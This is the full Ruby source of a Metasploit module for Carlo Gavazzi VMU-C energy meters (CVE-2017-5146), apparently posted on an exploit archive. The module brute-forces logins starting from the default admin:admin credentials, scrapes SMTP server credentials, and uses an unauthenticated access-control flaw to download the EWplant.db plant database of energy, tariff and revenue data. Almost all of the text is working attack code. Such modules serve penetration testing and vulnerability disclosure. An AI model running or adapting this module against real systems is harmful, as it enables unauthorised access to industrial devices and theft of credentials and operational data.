Headline
Carlo Gavazzi Energy Meters Login Brute Force, Extract Info And Dump Plant Database
This Metasploit module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17.
Carlo Gavazzi Energy Meters Login Brute Force, Extract Info And Dump Plant Database
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner def initialize(info={}) super(update_info(info, 'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database', 'Description' => %{ This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. }, 'References' => [ ['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-012-03'], ['CVE', '2017-5146'] ], 'Author' => [ 'Karn Ganeshen <KarnGaneshen[at]gmail.com>' ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'SSL' => false, 'VERBOSE' => true })) register_options( [ Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']), OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'admin']) ], self.class ) end def run_host(ip) unless is_app_carlogavazzi? return end each_user_pass do |user, pass| do_login(user, pass) end ewplantdb end # # What's the point of running this module if the target actually isn't Carlo Gavazzi box # def is_app_carlogavazzi? begin res = send_request_cgi( { 'uri' => '/', 'method' => 'GET' } ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") return false end good_response = ( res && res.code == 200 && res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC') ) if good_response vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...") return true else vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.") return false end end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { last_attempted_at: Time.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end # # Brute-force the login page # def do_login(user, pass) vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") # Set Cookie - Box is vuln to Session Fixation. Generating a random cookie for use. randomvalue = Rex::Text.rand_text_alphanumeric(26) cookie_value = 'PHPSESSID=' + "#{randomvalue}" begin res = send_request_cgi( { 'uri' => '/login.php', 'method' => 'POST', 'headers' => { 'Cookie' => cookie_value }, 'vars_post' => { 'username' => user, 'password' => pass, 'Entra' => 'Sign+In' # Also - 'Entra' => 'Entra' # Seen to vary in some models } } ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") return :abort end good_response = ( res && res.code == 200 && res.body.include?('Login in progress') || res.body.include?('Login in corso') && res.body.match(/id="error" value="2"/) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php') ) if good_response print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") # Extract firmware version begin res = send_request_cgi( { 'uri' => '/setupfirmware.php', 'method' => 'GET', 'headers' => { 'Cookie' => cookie_value } } ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") return :abort end if res && res.code == 200 if res.body.include?('Firmware Version') || res.body.include?('Versione Firmware') fw_ver = res.body.match(/Ver. (.*)[$<]/)[1] if !fw_ver.nil? print_good("#{rhost}:#{rport} - Firmware version #{fw_ver}...") report_cred( ip: rhost, port: rport, service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver}]", user: user, password: pass ) end end end # # Extract SMTP config # begin res = send_request_cgi( { 'uri' => '/setupmail.php', 'method' => 'GET', 'headers' => { 'Cookie' => cookie_value } } ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") return :abort end if (res && res.code == 200 && res.body.include?('SMTP')) dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1] dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1] dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1] if (!dirty_smtp_server.nil?) && (!dirty_smtp_user.nil?) && (!dirty_smtp_pass.nil?) smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/) smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) if (!smtp_server.nil?) && (!smtp_user.nil?) && (!smtp_pass.nil?) print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}") end end else vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges") end return :next_user else print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") end end # # Dump EWplant.db database file - No authentication required # def ewplantdb begin res = send_request_cgi( { 'uri' => '/cfg/EWplant.db', 'method' => 'GET' } ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") return :abort end if res && res.code == 200 print_status("#{rhost}:#{rport} - dumping EWplant.db") print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!") loot_name = 'EWplant.db' loot_type = 'SQLite_db/text' loot_desc = 'Carlo Gavazzi EM - EWplant.db' path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body , loot_desc) print_good("#{rhost}:#{rport} - File saved in: #{path}") else vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?") return end endend